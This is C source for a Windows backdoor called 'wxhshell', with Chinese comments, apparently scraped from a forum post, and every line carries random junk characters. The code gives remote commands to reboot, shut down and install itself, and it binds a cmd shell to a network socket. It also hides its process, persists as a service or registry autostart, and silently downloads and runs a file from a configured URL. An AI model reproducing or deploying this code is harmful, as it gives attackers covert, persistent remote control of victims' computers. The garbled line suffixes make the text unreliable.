    switch(cmd[0]) {  ;;>hWAS  
  rywui10x*  
  // 帮助 LFvO[&  
  case '?': { v'3.`aZ!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N8*6sK.  
    break; RE)!b  
  } 9O(vh(C  
  // 安装 0Va+l)F  
  case 'i': { 6!F@?3qCyg  
    if(Install()) (j<FS>##  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ].ZfTrM]  
    else >Sc)?[H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _[%2QwAUj*  
    break; Yf1&"WW4  
    } aE aU_f /  
  // 卸载 'N aNh0y  
  case 'r': { Rhw- 49AWx  
    if(Uninstall()) rgq~lZ.U4K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qc4r?7S<  
    else @QOlo -u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1f}YKT  
    break; ZVu_E.4.  
    } 6g fn5G  
  // 显示 wxhshell 所在路径 =n@"lY u[  
  case 'p': { .,({&L  
    char svExeFile[MAX_PATH]; R:N4_4& C~  
    strcpy(svExeFile,"\n\r"); d `MTc  
      strcat(svExeFile,ExeFile); J!{"^^*  
        send(wsh,svExeFile,strlen(svExeFile),0); GgT 5'e;N  
    break; +lYo5\1=  
    } -9PJ4"H  
  // 重启 FZFYwU\~.L  
  case 'b': { da[=d*I.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8-#_xsZ^;  
    if(Boot(REBOOT)) b@v_db]|t.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q8Jhs7fv  
    else { E5 ;6ks)  
    closesocket(wsh); bF2RP8?en  
    ExitThread(0); ?Z^?A^; }$  
    } ~Un+Zs%24  
    break; 8Cx6Me>,=  
    } q\DN8IJ  
  // 关机 YL?2gBT  
  case 'd': { 5& 2([  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z:Y Z]   
    if(Boot(SHUTDOWN)) ,r5'nDV=d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r!+..c  
    else { QT8GP?F  
    closesocket(wsh); C4[)yJ  
    ExitThread(0); Yamu"#  
    } X&LaAqlSG  
    break; k2 _i;v  
    } yf4I<v$y  
  // 获取shell 9ZJn 8ki  
  case 's': { N4HIQ\p  
    CmdShell(wsh); 6y+_x'  
    closesocket(wsh); hr@kU x  
    ExitThread(0); $.+_f,tU  
    break; kuq&8f~!  
  } 42oW]b%P{;  
  // 退出 B}(r>8?dm  
  case 'x': { /nq\*)S#&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aRV .;S  
    CloseIt(wsh); &xWej2a!  
    break; c1ga{c`Z  
    } G+~f  
  // 离开 tFEY8ut{  
  case 'q': { $./&GOus  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A:$4cacu9  
    closesocket(wsh); V|{\8&  2  
    WSACleanup(); P.y06^ X}A  
    exit(1); 0 :iR=S  
    break; #lfW0?Y'  
        } oBS m>V  
  } p3,m),  
  } [%c5MQ?H  
JW},7Ox  
  // 提示信息 ?S<`*O +  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MvKr~  
} =vs]Kmm  
  } /2f  
RVN;j4uMg  
  return; >d3`\(v-  
} WR"?j 9y_q  
g:fkM{"{  
// shell模块句柄 nl-y0xD9c  
int CmdShell(SOCKET sock) M!wa }  
{ @B`nM#X#  
STARTUPINFO si; Ro@ =oyLE  
ZeroMemory(&si,sizeof(si)); Lcz`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nYnB WDnV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L`"j> ),  
PROCESS_INFORMATION ProcessInfo; G"F)t(iX  
char cmdline[]="cmd"; g-~]^$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aGAeRF  
  return 0; ["_+~*  
} \ z3>kvk  
^~1Z"kAnT  
// 自身启动模式 ^)E# c  
int StartFromService(void) HfPu~P  
{ ^]NFr*'!  
typedef struct Bwc_N.w?3  
{ X \BxRgl},  
  DWORD ExitStatus; O?`_RN4l  
  DWORD PebBaseAddress; KG=57=[  
  DWORD AffinityMask; 1EMud,,:  
  DWORD BasePriority; K`0'2  
  ULONG UniqueProcessId; $(]E$ek  
  ULONG InheritedFromUniqueProcessId; P,rD{ 0~  
}   PROCESS_BASIC_INFORMATION; bo-L|R&O  
n_{az{~  
PROCNTQSIP NtQueryInformationProcess;  y 2C Jk~  
K=Z.<f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; onU\[VvM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !%'"l{R  
8AJ#].q0F  
  HANDLE             hProcess; Ys0N+  
  PROCESS_BASIC_INFORMATION pbi; &0`i(l4]l  
#OlPnP2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gtnu/ Q  
  if(NULL == hInst ) return 0; Jr=XVQ(F  
n%6ba77  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \4KV9wm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OH13@k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8shx7"  
B|"-Ed  
  if (!NtQueryInformationProcess) return 0; {kghZur  
Vb)NWXmyu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aL&nD1f=!-  
  if(!hProcess) return 0; ,1B` Ve  
jp7cPpk:LG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NRT@"3,1YP  
z?@N+||,.  
  CloseHandle(hProcess); q+BG  
3T/&T`T+c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @1A.$:  
if(hProcess==NULL) return 0; '5(T0Ws/w  
h=4 GSU  
HMODULE hMod; \hWac%#  
char procName[255]; -zzoz x]S=  
unsigned long cbNeeded; dJe 3DW :  
_SnD)k+TgJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :=*V i`  
ZfXgVTJ`  
  CloseHandle(hProcess); &x\cEI)!  
4t-l@zFWb  
if(strstr(procName,"services")) return 1; // 以服务启动 g2?yT ?  
hEFOT]P4  
  return 0; // 注册表启动 26;Gt8  
} {rwT4]4  
F!fsW9  
// 主模块 BV6B:=E0  
int StartWxhshell(LPSTR lpCmdLine) $*:g~#bh  
{ -ykD/  
  SOCKET wsl; * ,zrg%8  
BOOL val=TRUE; e{H(  
  int port=0; n]6-`fpD  
  struct sockaddr_in door; m8V}E& 6  
/Pxny3  
  if(wscfg.ws_autoins) Install(); `2/V.REX$h  
yJ="dEn>i"  
port=atoi(lpCmdLine); dZox;_b  
{:|b,ep T  
if(port<=0) port=wscfg.ws_port; tXuf!  
.Q^V,[on1T  
  WSADATA data; fRT4>So   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^#XQ2UN  
pfs]pDjS:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m Ga:~x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ExM VGe  
  door.sin_family = AF_INET; .K]Uk/W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >?#zPweA  
  door.sin_port = htons(port); l&*= .Zc7!  
^]D+H9Tl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sx8C<S5r<  
closesocket(wsl); MxH |yo[  
return 1; !b=W>5h  
} *^w}SE(  
7?D?s!%\  
  if(listen(wsl,2) == INVALID_SOCKET) { >=:^N-a  
closesocket(wsl); _Ie:!q  
return 1; sm;kg=  
} H@u5&  
  Wxhshell(wsl); e,r7UtjoxR  
  WSACleanup(); s7sTY   
1:r#m- \  
return 0; _u'y7-  
Uy.ihh$I-  
} ^^lx Ot  
:[CEHRc7x  
// 以NT服务方式启动 3 /PvH E{R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ` Z/ MQ  
{ e0#t  
DWORD   status = 0; 'tDUPm38  
  DWORD   specificError = 0xfffffff; _''un3eCY  
/\;m/cwrl"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MMUlA$*t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BOh^oQh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B[q"o I`  
  serviceStatus.dwWin32ExitCode     = 0; @qYT/V*/  
  serviceStatus.dwServiceSpecificExitCode = 0; a6Joa&`dv  
  serviceStatus.dwCheckPoint       = 0; )\j dF-s  
  serviceStatus.dwWaitHint       = 0; !!ma]pB,  
~L>86/hP,N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0m=57c$O  
  if (hServiceStatusHandle==0) return; n @,.  
zWv0y8[d  
status = GetLastError(); mYj)![  
  if (status!=NO_ERROR) O;5lF  
{ ?;H}5>^8P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pjn{3/*wi  
    serviceStatus.dwCheckPoint       = 0; j@w1S[vt  
    serviceStatus.dwWaitHint       = 0; :`E p#[Wvo  
    serviceStatus.dwWin32ExitCode     = status; d S'J@e=#  
    serviceStatus.dwServiceSpecificExitCode = specificError; z{FFTb^B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Y<]X7Ch:  
    return; FE]UqB  
  } )0]U"Nf ho  
UG=]8YY!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |2%|=   
  serviceStatus.dwCheckPoint       = 0; <5,|h3]-#  
  serviceStatus.dwWaitHint       = 0; ]31=8+D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y9>92#aME  
} !%D';wQ,/  
!nvg:$.&  
// 处理NT服务事件,比如:启动、停止 x}nBU q:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @g4o8nH}  
{ *nHuGla  
switch(fdwControl) 3!osQ1  
{ {y a .  
case SERVICE_CONTROL_STOP: zsd1n`r  
  serviceStatus.dwWin32ExitCode = 0; 6}?d%K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p:K%-^  
  serviceStatus.dwCheckPoint   = 0; 4obW>  
  serviceStatus.dwWaitHint     = 0; \gB ~0@[\7  
  { #r]Z2Y]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .)_2AoT7[  
  } ~#jiX6<I  
  return; 7Xu#|k  
case SERVICE_CONTROL_PAUSE: zA8@'`Id  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1DhC,)+D}q  
  break; fISK3t/=C  
case SERVICE_CONTROL_CONTINUE: _ilitwRN3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UAT\ .  
  break; lgS7;  
case SERVICE_CONTROL_INTERROGATE: 1YJ?Y  
  break; #{{p4/:  
}; u '/)l}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nh_\{ &r  
} > *VvV/UU  
]wdE :k,D  
// 标准应用程序主函数 y`j=(|DV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vq^';<Wh.  
{ ZJQFn  
<+-n lK4  
// 获取操作系统版本 z<mN-1PM7&  
OsIsNt=GetOsVer(); ]X77?Zz9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N0-J=2  
N0Y4m_dm*  
  // 从命令行安装 y.J>}[\&x  
  if(strpbrk(lpCmdLine,"iI")) Install(); }8#Ed;%K  
bT&{8a  
  // 下载执行文件 `=P_ed%&'  
if(wscfg.ws_downexe) { Mmu#hb|W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H$C*&p  
  WinExec(wscfg.ws_filenam,SW_HIDE); lFnYQab  
} ]W14'Z  
Xd5s8C/}  
if(!OsIsNt) { o2U5irU  
// 如果时win9x,隐藏进程并且设置为注册表启动 <j>;5!4!}  
HideProc(); )\EIXTZY=  
StartWxhshell(lpCmdLine); Ec}%!p_$  
} DAP/  
else NytTyk)  
  if(StartFromService()) )!\6 "{  
  // 以服务方式启动 L;u5  
  StartServiceCtrlDispatcher(DispatchTable); Wp8>Gfb2  
else Ycspdl+(S$  
  // 普通方式启动 hN6wp_  
  StartWxhshell(lpCmdLine); Vjv6d&Q  
`Ucj_6&Tqs  
return 0; D@gC(&U/6  
}
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只看该作者 1 发表于: 2006-10-10
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